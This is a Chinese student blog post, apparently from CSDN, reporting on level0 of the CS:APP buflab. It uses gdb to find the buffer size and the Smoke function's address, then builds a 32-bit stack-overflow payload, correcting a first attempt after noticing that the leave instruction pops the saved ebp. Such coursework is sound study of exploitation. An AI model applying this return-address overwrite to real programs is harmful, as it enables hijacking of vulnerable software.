buflab实验报告:32位程序缓冲区溢出攻击

buflab实验报告:32位程序缓冲区溢出攻击

在此实验开始之前,弄清楚给你的三个文件分别干嘛的。

bufbomb:实验需要攻击的程序

hex2raw:根据填写的字节生成攻击字符串

makecookie:对每个实验用户生成一个八位十六进制的字节序列,用于识别用户。(可能是用来打分的)

gdb要运行的时候,一定要输入r -u <your id>,终端运行要输入./bufbomb -u <your id>,否则你是运行不了的。那咱们先输入./makecookie -q生成你的cookie(id),最好先找个地儿保存一下。

作者在这里赞美一下这本书的编者:csapp的所有实验设计简直不要太好,学习计算机系统本是一个很枯燥的学习过程,但是这里的实验最大程度激发学生学习的兴趣。同时也希望国内的编者能够借鉴这本书的巧妙之处,让国内出越来越多的优秀教材。(由于本人表达能力不够,也只能这么夸了qwq)

level0:Candle

这一堆英文我反正也看不来qwq,既然是level0不妨问题想简单一点:给了我test()函数,调用了一个getbuf(),而后又有一个gets()危险函数,又给了一个Smoke()函数,那么无疑,应该就是通过溢出调用Somke(),先反正不涉及代码注入等东西gdb就是万能的,我们普通地这么溢出只需要确定两点:

  1. 缓冲区的大小
  2. Smoke()函数的地址

gdb bufbomb然后:

print Smoke就可以输出函数的地址,disassemble getbuf就可以查看getbuf()的汇编代码

buflab_level0_1.png

可以看到,buf的大小是0x28,那么就构造payload

00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
18 8c 04 08

buflab_level0_2.png

但是发生了段错误,这里我调了很久,也可能是因为之前做64位的攻击,有点忘了32位的攻击的区别,因为真的之前就是它缓冲区开了多少我填那么多再堆返回地址就好了的。直到我看到getbuf()函数有一个leave指令,我这就去网上搜了一下leave指令。

Leave==
movl %ebp %esp
popl %ebp

啊这?又被弹出来了原来的ebp?可能在你们眼里这个完全是个没必要犯得错误,但是我遇到了我就得这么讲出来,也算是一种提升吧。那就很清楚了,我们把函数返回地址弹出去了,就导致给eip的不知道是什么地址了。所以再加四字节的00,就会把00 00 00 00弹给ebp而把smoke() 函数的返回地址弹给eip了。所以正确的payload应该是

00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00 
00 00 00 00
00 00 00 00
18 8c 04 08

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xi@0ji233

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值